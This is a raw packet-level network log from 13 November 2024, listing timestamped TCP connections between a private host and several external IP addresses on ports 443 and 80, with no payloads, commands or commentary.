Nov 13, 2024 14:41:31.542629957 CET	49867	443	192.168.2.7	23.192.223.230
Nov 13, 2024 14:41:31.542664051 CET	443	49867	23.192.223.230	192.168.2.7
Nov 13, 2024 14:41:31.543232918 CET	49870	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:31.543361902 CET	443	49870	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:31.549010038 CET	49871	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:31.549128056 CET	443	49871	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:31.551106930 CET	49870	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:31.551122904 CET	443	49870	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:31.552932978 CET	49871	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:31.552942038 CET	443	49871	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:31.610847950 CET	49871	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:31.610850096 CET	49870	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:31.624391079 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:31.629230022 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:31.636550903 CET	443	49873	172.64.41.3	192.168.2.7
Nov 13, 2024 14:41:31.637216091 CET	49873	443	192.168.2.7	172.64.41.3
Nov 13, 2024 14:41:31.637247086 CET	443	49873	172.64.41.3	192.168.2.7
Nov 13, 2024 14:41:31.638329983 CET	443	49873	172.64.41.3	192.168.2.7
Nov 13, 2024 14:41:31.638390064 CET	49873	443	192.168.2.7	172.64.41.3
Nov 13, 2024 14:41:31.639333010 CET	49873	443	192.168.2.7	172.64.41.3
Nov 13, 2024 14:41:31.639396906 CET	443	49873	172.64.41.3	192.168.2.7
Nov 13, 2024 14:41:31.645157099 CET	443	49872	172.64.41.3	192.168.2.7
Nov 13, 2024 14:41:31.645418882 CET	49872	443	192.168.2.7	172.64.41.3
Nov 13, 2024 14:41:31.645442963 CET	443	49872	172.64.41.3	192.168.2.7
Nov 13, 2024 14:41:31.646469116 CET	443	49872	172.64.41.3	192.168.2.7
Nov 13, 2024 14:41:31.646526098 CET	49872	443	192.168.2.7	172.64.41.3
Nov 13, 2024 14:41:31.646898985 CET	49872	443	192.168.2.7	172.64.41.3
Nov 13, 2024 14:41:31.646954060 CET	443	49872	172.64.41.3	192.168.2.7
Nov 13, 2024 14:41:31.684706926 CET	49873	443	192.168.2.7	172.64.41.3
Nov 13, 2024 14:41:31.684722900 CET	443	49873	172.64.41.3	192.168.2.7
Nov 13, 2024 14:41:31.711626053 CET	443	49874	23.221.22.211	192.168.2.7
Nov 13, 2024 14:41:31.712280989 CET	443	49875	23.221.22.211	192.168.2.7
Nov 13, 2024 14:41:31.712891102 CET	49875	443	192.168.2.7	23.221.22.211
Nov 13, 2024 14:41:31.712908030 CET	443	49875	23.221.22.211	192.168.2.7
Nov 13, 2024 14:41:31.712996960 CET	49874	443	192.168.2.7	23.221.22.211
Nov 13, 2024 14:41:31.713017941 CET	443	49874	23.221.22.211	192.168.2.7
Nov 13, 2024 14:41:31.713336945 CET	443	49874	23.221.22.211	192.168.2.7
Nov 13, 2024 14:41:31.714035034 CET	443	49875	23.221.22.211	192.168.2.7
Nov 13, 2024 14:41:31.714138031 CET	49875	443	192.168.2.7	23.221.22.211
Nov 13, 2024 14:41:31.715065002 CET	49874	443	192.168.2.7	23.221.22.211
Nov 13, 2024 14:41:31.715121031 CET	443	49874	23.221.22.211	192.168.2.7
Nov 13, 2024 14:41:31.715250015 CET	49875	443	192.168.2.7	23.221.22.211
Nov 13, 2024 14:41:31.715308905 CET	443	49875	23.221.22.211	192.168.2.7
Nov 13, 2024 14:41:31.772377014 CET	443	49871	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:31.772403002 CET	443	49871	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:31.772411108 CET	443	49871	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:31.772439003 CET	443	49871	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:31.772450924 CET	443	49871	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:31.772461891 CET	443	49871	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:31.772517920 CET	49871	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:31.772517920 CET	49871	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:31.772552013 CET	443	49871	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:31.772592068 CET	49871	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:31.798753023 CET	49872	443	192.168.2.7	172.64.41.3
Nov 13, 2024 14:41:31.798763037 CET	49873	443	192.168.2.7	172.64.41.3
Nov 13, 2024 14:41:31.798774004 CET	443	49872	172.64.41.3	192.168.2.7
Nov 13, 2024 14:41:31.806925058 CET	443	49871	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:31.806952000 CET	443	49871	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:31.807194948 CET	49871	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:31.807215929 CET	443	49871	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:31.807323933 CET	49871	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:31.813947916 CET	49874	443	192.168.2.7	23.221.22.211
Nov 13, 2024 14:41:31.814141989 CET	49875	443	192.168.2.7	23.221.22.211
Nov 13, 2024 14:41:31.814161062 CET	443	49875	23.221.22.211	192.168.2.7
Nov 13, 2024 14:41:31.891963959 CET	443	49871	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:31.891985893 CET	443	49871	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:31.892031908 CET	49871	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:31.892055035 CET	443	49871	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:31.892093897 CET	49871	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:31.892093897 CET	49871	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:31.909249067 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:31.909267902 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:31.909280062 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:31.909327984 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:31.909360886 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:31.909466982 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:31.909495115 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:31.909507036 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:31.909512043 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:31.909519911 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:31.909529924 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:31.909554958 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:31.910149097 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:31.910190105 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:31.910198927 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:31.910233021 CET	49872	443	192.168.2.7	172.64.41.3
Nov 13, 2024 14:41:31.910245895 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:31.910276890 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:31.910290003 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:31.910319090 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:31.910332918 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:31.914140940 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:31.914175987 CET	49875	443	192.168.2.7	23.221.22.211
Nov 13, 2024 14:41:31.914197922 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:31.915750027 CET	49882	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:31.915788889 CET	443	49882	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:31.915937901 CET	49882	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:31.916213989 CET	49882	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:31.916228056 CET	443	49882	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:31.926335096 CET	443	49871	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:31.926357985 CET	443	49871	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:31.926424026 CET	49871	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:31.926438093 CET	443	49871	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:31.926475048 CET	49871	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:31.926490068 CET	49871	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:31.928687096 CET	443	49871	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:31.928708076 CET	443	49871	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:31.928761959 CET	49871	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:31.928772926 CET	443	49871	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:31.928791046 CET	49871	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:31.929090977 CET	49871	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:31.930959940 CET	443	49871	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:31.930984974 CET	443	49871	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:31.931088924 CET	49871	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:31.931088924 CET	49871	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:31.931099892 CET	443	49871	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:31.931341887 CET	49871	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:32.102231979 CET	443	49871	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:32.102256060 CET	443	49871	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:32.102303028 CET	443	49871	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:32.102333069 CET	443	49871	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:32.102406979 CET	49871	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:32.102406979 CET	49871	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:32.102423906 CET	443	49871	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:32.102572918 CET	443	49871	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:32.102586031 CET	443	49871	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:32.102706909 CET	49871	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:32.102706909 CET	49871	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:32.102726936 CET	443	49871	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:32.103185892 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.103199959 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.103210926 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.103221893 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.103234053 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.103246927 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.103254080 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.103260040 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.103274107 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.103279114 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.103285074 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.103324890 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.103324890 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.103337049 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.103348017 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.103353024 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.103360891 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.103368998 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.103379965 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.103387117 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.103393078 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.103403091 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.103410959 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.103419065 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.103431940 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.103436947 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.103445053 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.103454113 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.103458881 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.103470087 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.103471994 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.103485107 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.103492975 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.103507042 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.103533983 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.103555918 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.106390953 CET	443	49877	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:32.106606007 CET	443	49871	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:32.106626987 CET	443	49871	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:32.106714964 CET	49871	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:32.106714964 CET	49871	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:32.106724977 CET	443	49871	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:32.106930971 CET	443	49871	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:32.106946945 CET	443	49871	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:32.106983900 CET	49871	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:32.106992006 CET	443	49871	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:32.107079029 CET	49871	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:32.107878923 CET	443	49871	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:32.107897043 CET	443	49871	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:32.107925892 CET	443	49879	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:32.107933044 CET	49871	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:32.107948065 CET	443	49871	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:32.108037949 CET	49871	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:32.108088970 CET	443	49871	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:32.108103037 CET	443	49871	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:32.108171940 CET	49871	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:32.108171940 CET	49871	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:32.108180046 CET	443	49871	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:32.108387947 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.109131098 CET	49880	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:32.109143972 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.109496117 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.109631062 CET	49880	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:32.110232115 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.110367060 CET	49880	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:32.110913038 CET	443	49876	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:32.113194942 CET	49880	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:32.113194942 CET	49880	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:32.113210917 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.113277912 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.113420010 CET	49880	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:32.130522966 CET	443	49871	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:32.130542994 CET	443	49871	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:32.130618095 CET	49871	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:32.130618095 CET	49871	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:32.130630970 CET	443	49871	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:32.130662918 CET	49871	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:32.137361050 CET	49879	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:32.137399912 CET	443	49879	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:32.137521029 CET	49877	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:32.137537003 CET	443	49877	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:32.137937069 CET	49879	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:32.137943983 CET	443	49879	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:32.138012886 CET	49877	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:32.138019085 CET	443	49877	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:32.139358997 CET	49876	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:32.139358997 CET	49876	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:32.139379978 CET	443	49876	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:32.139394999 CET	443	49876	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:32.159328938 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.163580894 CET	443	49871	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:32.163598061 CET	443	49871	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:32.163651943 CET	49871	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:32.163675070 CET	443	49871	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:32.163702011 CET	49871	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:32.164246082 CET	443	49871	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:32.164263010 CET	443	49871	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:32.164309025 CET	49871	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:32.164341927 CET	443	49871	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:32.164499044 CET	49871	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:32.164814949 CET	443	49871	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:32.164828062 CET	443	49871	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:32.164905071 CET	49871	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:32.164905071 CET	49871	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:32.164925098 CET	443	49871	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:32.165525913 CET	443	49871	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:32.165543079 CET	443	49871	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:32.165575027 CET	49871	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:32.165596962 CET	443	49871	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:32.165777922 CET	443	49871	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:32.165817022 CET	443	49871	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:32.165853024 CET	49871	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:32.165853024 CET	49871	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:32.165853024 CET	49871	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:32.165870905 CET	443	49871	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:32.165884018 CET	443	49871	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:32.165936947 CET	49871	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:32.165936947 CET	49871	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:32.167093992 CET	49871	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:32.167114973 CET	443	49871	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:32.230212927 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.230269909 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.230278015 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.230314970 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.230319977 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.230350018 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.230366945 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.230380058 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.230397940 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.230412006 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.230433941 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.230444908 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.230457067 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.230478048 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.230516911 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.231117964 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.231142998 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.231153965 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.231158972 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.231178999 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.231188059 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.231201887 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.231214046 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.231239080 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.231257915 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.231889963 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.231911898 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.231929064 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.231940031 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.231941938 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.231952906 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.231966019 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.231971025 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.231987000 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.232012987 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.232868910 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.232883930 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.232897997 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.232908964 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.232947111 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.232958078 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.232966900 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.232971907 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.232995033 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.233021021 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.233684063 CET	443	49881	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:32.233735085 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.233747005 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.233757973 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.233786106 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.233793020 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.233808994 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.233810902 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.233823061 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.233844995 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.233861923 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.237350941 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.237370968 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.237384081 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.237397909 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.237404108 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.237411976 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.237423897 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.237428904 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.237443924 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.237456083 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.237462997 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.237469912 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.237478018 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.237483978 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.237498045 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.237507105 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.237510920 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.237524986 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.237535000 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.237540007 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.237554073 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.237571955 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.247014046 CET	49883	443	192.168.2.7	20.125.209.212
Nov 13, 2024 14:41:32.247057915 CET	443	49883	20.125.209.212	192.168.2.7
Nov 13, 2024 14:41:32.247155905 CET	49883	443	192.168.2.7	20.125.209.212
Nov 13, 2024 14:41:32.247626066 CET	49884	443	192.168.2.7	51.132.193.105
Nov 13, 2024 14:41:32.247659922 CET	443	49884	51.132.193.105	192.168.2.7
Nov 13, 2024 14:41:32.248116016 CET	49884	443	192.168.2.7	51.132.193.105
Nov 13, 2024 14:41:32.249855042 CET	49883	443	192.168.2.7	20.125.209.212
Nov 13, 2024 14:41:32.249888897 CET	443	49883	20.125.209.212	192.168.2.7
Nov 13, 2024 14:41:32.250169992 CET	49884	443	192.168.2.7	51.132.193.105
Nov 13, 2024 14:41:32.250181913 CET	443	49884	51.132.193.105	192.168.2.7
Nov 13, 2024 14:41:32.265145063 CET	443	49877	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:32.265193939 CET	443	49876	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:32.265218973 CET	443	49877	13.107.246.44	192.168.2.7
